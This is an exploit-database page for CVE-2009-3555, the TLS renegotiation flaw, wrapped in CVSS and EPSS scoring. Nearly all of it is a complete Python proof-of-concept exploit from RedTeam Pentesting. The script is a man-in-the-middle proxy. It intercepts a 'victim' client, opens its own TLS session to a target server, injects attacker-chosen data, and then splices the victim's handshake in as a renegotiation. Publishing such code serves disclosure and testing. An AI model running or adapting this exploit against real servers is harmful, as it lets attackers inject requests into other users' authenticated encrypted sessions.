Lucene search

K
exploitdbRedTeam PentestingEDB-ID:10579
HistoryDec 21, 2009 - 12:00 a.m.

TLS - Renegotiation

2009-12-2100:00:00
RedTeam Pentesting
www.exploit-db.com
407

7.2 High

AI Score

Confidence

Low

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:P/A:P

0.002 Low

EPSS

Percentile

64.2%

#!/usr/bin/env python

######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  [email protected]     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

# PoC exploit for the TLS renegotiation vulnerability (CVE-2009-3555)

# License
# -------
# CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/

# Timeline
# --------
# 2009-12-21 initial public release

# Known Issues
# ------------
# Firefox: if it fails connecting to a TLS site too often, falls back to
#          issuing SSLv2 ClientHello only until browser is restarted
#
# wget:    attempts SSLv2 ClientHello by default

# References
# ----------
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
# http://www.phonefactor.com/sslgap
# http://www.extendedsubset.com/
# http://www.g-sec.lu/practicaltls.pdf
# http://tools.ietf.org/html/draft-ietf-tls-renegotiation-01

import tlslite
import tlslite.api
import tlslite.messages
import tlslite.constants
import struct
import socket
import threading
import array
import sys
import optparse


if not hasattr(threading.Thread, 'name'):
    # emulate python 2.6 threading module for earlier versions
    threading.current_thread = threading.currentThread
    setattr(threading.Thread, 'name',
            property(threading.Thread.getName, threading.Thread.setName))

def forward(sock1, sock2):
    sock1.settimeout(1.0)
    while True:
        try:
            data = sock1.recv(4096)
            if not data:
                return
            sock2.send(data)
        except socket.error, ex_error:
            if ex_error[0] == 104: # Connection reset by peer
                return
        except socket.timeout, ex_timeout:
            pass


class MessageWrapper(object):
    def __init__(self, version = (3, 1), ssl2 = False):
        self.contentType = tlslite.messages.ContentType.handshake
        self.ssl2 = ssl2
        self.client_version = version

    def setType(self, type):
        self.contentType = type

    def addBytes(self, bytes):
        self.bytes = bytes

    def write(self, trial=False):
        if trial:
            raise Exception('Unsupported')
        return array.array('B', self.bytes)

def send_record(sock, msg_type, version_major, version_minor, record):
    msg = struct.pack('!BBBH', msg_type, version_major, version_minor, len(record))
    if type(record) != str:
        msg += record.tostring()
    else:
        msg += record
    sock.send(msg)

def send_encapsulated(sslsock, type, messagebytes, version = (3, 1)):
    msg = MessageWrapper(version)
    msg.addBytes(struct.unpack('B'*len(messagebytes), messagebytes))
    msg.setType(type)
    for dummy in sslsock._sendMsg(msg, True):
        pass

def decrypt_record(sslsock, type, recordbytes):
    for result in sslsock._decryptRecord(type, array.array('B', recordbytes)):
        pass
    return result

def recv_record(sock):
    try:
        header = sock.recv(5)
        if not header:
            return None, None, None, None
        msg_type, msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBBH', header)
        record = ''
        while len(record) != msg_length:
            record += sock.recv(msg_length - len(record))
        return msg_type, msg_version_major, msg_version_minor, record
    except socket.error, ex:
        if ex[0] == 104: # Connection reset by peer
            return

def recv_clienthello(sock):
    header_bytes = []
    header_bytes.append(sock.recv(1))
    header_bytes[0] = struct.unpack('!B', header_bytes[0])[0]
    if header_bytes[0] & 0x80:
        # Version 2.0 Client "Record Layer"
        header_bytes.append(sock.recv(1))
        header_bytes[1] = struct.unpack('!B', header_bytes[1])[0]
        msg_length = (header_bytes[0] & 0x7f) << 8 | header_bytes[1]
        msg_version_major = 2
        msg_version_minor = 0
        msg_type = tlslite.constants.ContentType.handshake
        record = sock.recv(msg_length)
    else:
        header = sock.recv(4)
        msg_type = header_bytes[0]
        msg_version_major, msg_version_minor, msg_length = struct.unpack('!BBH', header)
        record = sock.recv(msg_length)

    return msg_type, msg_version_major, msg_version_minor, record

def send_hello_request(sock):
    sock.send("\x16"            # Record Layer: Handshake Message
             +"\x03\x01"        # Record Layer Version: TLS 1.0
             +"\x00\x04"        # Record Layer Length: 4
             +"\x00"            # Handshake Message Type: Hello Request
             +"\x00\x00\x00")   # Handshake Message Length: 0

def send_protocol_version_alert(sock):
    sock.send("\x15"            # Record Layer: Alert"
             +"\x03\x01"        # Record Layer Version: TLS 1.0
             +"\x00\x02"        # Record Layer Length: 2
             +"\x00"            # Alert Message: fatal
             +"\x46")           # Alert Message: protocol version


def handle_victim(victim, options, mitmcount):

    if options.one_shot and mitmcount != 0:
        print threading.current_thread().name, '--one-shot specified and initial connection already handled, forwarding only'
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(options.target)
            print threading.current_thread().name, 'Connected to target %s:%u' % options.target
        except socket.error, ex:
            print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
            print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
            sys.exit(1)

        t1 = threading.Thread(target=forward, args=(sock, victim))
        t1.start()

        t2 = threading.Thread(target=forward, args=(victim, sock))
        t2.start()

        t1.join()
        sock.close()

        t2.join()
        victim.close()
        return

    # obtain initial "client hello" message
    msg_type, msg_version_major, msg_version_minor, hello_msg = recv_clienthello(victim)
    if msg_version_major == 2:
        print threading.current_thread().name, "client sent SSLv2 client hello message, exiting thread"
        return

    tls_version = (msg_version_major, msg_version_minor)
    type, length, version_major, version_minor, random, session_id_length = struct.unpack('!B3sBB32sB', hello_msg[:39])
    resume_session = (session_id_length != 0)
    if resume_session:
        print threading.current_thread().name, "client attempting to resume session"

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect(options.target)
        print threading.current_thread().name, 'Connected to target %s:%u' % options.target
    except socket.error, ex:
        print threading.current_thread().name, 'Couldn\'t connect to target %s:%u' % options.target
        print threading.current_thread().name, 'Error code %u, \'%s\'' % (ex[0], ex[1])
        sys.exit(1)


    sslsock = tlslite.api.TLSConnection(sock)
    handshake_settings = tlslite.HandshakeSettings.HandshakeSettings()
    handshake_settings.minVersion = tls_version
    handshake_settings.maxVersion = tls_version
    sslsock.handshakeClientCert(settings = handshake_settings)

    # inject prefix
    sslsock.write(options.inject)
    print threading.current_thread().name, 'Injected %s' % repr(options.inject)

    # send original "client hello" message over the encrypted channel
    send_encapsulated(sslsock, 22, hello_msg, tls_version)

    # now receive serveral TLS messages from the server, decrypt them, and forward
    # them to the client, until the server sends "server hello done"
    # these messages include "server hello", "certificate", "server key exchange",
    # unless the client is trying to resume a previous session
    print threading.current_thread().name, "about to receive server handshake messages"
    server_handshake_done = False
    while not server_handshake_done:
        msg_type, msg_version_major, msg_version_minor, result = recv_record(sslsock.sock)
        if result:
            result = decrypt_record(sslsock, msg_type, result)
            send_record(victim, msg_type, msg_version_major, msg_version_minor, result)
            if result[0] == 0x0e: # server hello done - should terminate handshake
                server_handshake_done = True
            elif resume_session and msg_type == 0x14: # change cipher spec - probably irrelevant
                server_handshake_done = True
        else:
            print threading.current_thread().name, 'receive from server failed, exiting thread'
            return
    print threading.current_thread().name, "server handshake done"


    # now its the the client's turn to send some messages, e.g.
    # "client key exchange" and "change cipher spec"
    print threading.current_thread().name, "about to receive client handshake messages"
    handshake_finished = False
    while not handshake_finished:
        msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
        print threading.current_thread().name, msg_type
        send_encapsulated(sslsock, msg_type, record, tls_version)
        if msg_type == 0x14: # change cipher spec
            handshake_finished = True

    print threading.current_thread().name, "client handshake done"

    # message after "change cipher spec" must be sent in the "clear"
    msg_type, msg_version_major, msg_version_minor, record = recv_record(victim)
    send_record(sslsock.sock, msg_type, msg_version_major, msg_version_minor, record)

    # server should now send "change cipher spec" message, we decrypt and send that to the victim
    msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
    result = decrypt_record(sslsock, msg_type, record)
    send_record(victim, msg_type, msg_version_major, msg_version_minor, result)

    # finalize handshake
    msg_type, msg_version_major, msg_version_minor, record = recv_record(sslsock.sock)
    if record:
        send_record(victim, msg_type, msg_version_major, msg_version_minor, record)
    else:
        sslsock.sock.close()
        victim.close()
        del sslsock
        return



    # the rest is just forwarding TLS records between both parties,
    # which we cannot interfere with anymore, apart from dropping server
    # responses
    if options.drop:
        sslsock.sock.close()
        del sslsock
    else:
        t1 = threading.Thread(target=forward, args=(sslsock.sock, victim))
        t1.start()

    t2 = threading.Thread(target=forward, args=(victim, sslsock.sock))
    t2.start()

    if not options.drop:
        t1.join()
        sslsock.sock.close()

    t2.join()
    victim.close()



if __name__ == "__main__":
    parser = optparse.OptionParser()
    parser.add_option('-l', '--listen', dest='listen_port', help='port to listen on', metavar='PORT', type='int', default=8443)
    parser.add_option('-b', '--bind', dest='bind_address', help='address to bind to', metavar='ADDRESS', default='0.0.0.0')
    parser.add_option('-t', '--target', dest='target', help='host and port to connect to', metavar='HOST:PORT' )
    parser.add_option('-i', '--inject', dest='inject', help='string to inject', metavar='DATA')
    parser.add_option('', '--inject-file', dest='inject_file', help='inject data from a file', metavar='FILE')
    parser.add_option('', '--inject-base64', dest='inject_base64', help='string to inject, base64-encoded', metavar='DATA')
    parser.add_option('-o', '--one-shot', dest='one_shot', action='store_true', help='only mitm the first connection attempt, forward all other connections')
    parser.add_option('-d', '--drop-responses', dest='drop', action="store_true", default=False, help='drop server responses after renegotiating')

    (options, args) = parser.parse_args()

    if len([i for i in (options.inject, options.inject_file, options.inject_base64) if i]) != 1:
        print 'Exactly one injection option must be specified'
        sys.exit(1)

    if options.inject_file:
        try:
            options.inject = open(options.inject_file, 'r').read()
        except IOError, ex:
            print ex
            sys.exit(1)

    if options.inject_base64:
        import base64
        try:
            options.inject = base64.decodestring(options.inject_base64)
        except base64.binascii.Error, ex:
            print 'Error decoding base64 data: %s' % ex
            sys.exit(1)


    if not options.listen_port or \
       not options.bind_address or \
       not options.target or \
       not options.inject:
        parser.print_help()
        sys.exit(1)

    target = options.target.split(':')
    if len(target)==2:
        try:
            target[1] = int(target[1])
        except ValueError:
            target[1] = None
    if len(target)!=2 or not target[0] or not target[1]:
        print 'Target \'%s\' not in format HOST:PORT' % options.target
        sys.exit(1)

    options.target = tuple(target)

    try:
        listensocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listensocket.bind((options.bind_address, options.listen_port))
        print 'Listening on %s:%u' % (options.bind_address, options.listen_port)
    except socket.error, ex:
        print 'Couldn\'t listen on %s:%u' % (options.bind_address, options.listen_port)
        print 'Error code %u, \'%s\'' % (ex[0], ex[1])
        sys.exit(1)

    listensocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listensocket.listen(5)

    mitmcount = 0

    while True:
        try:
            victim, victimaddr = listensocket.accept()
            print 'New connection from %s:%u' % victimaddr

            threading.Thread(target=handle_victim, args=(victim, options, mitmcount)).start()
            mitmcount += 1

        except KeyboardInterrupt, ex:
            print '\nAborted by user, exiting...'
            listensocket.close()
            sys.exit(1)

7.2 High

AI Score

Confidence

Low

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:P/A:P

0.002 Low

EPSS

Percentile

64.2%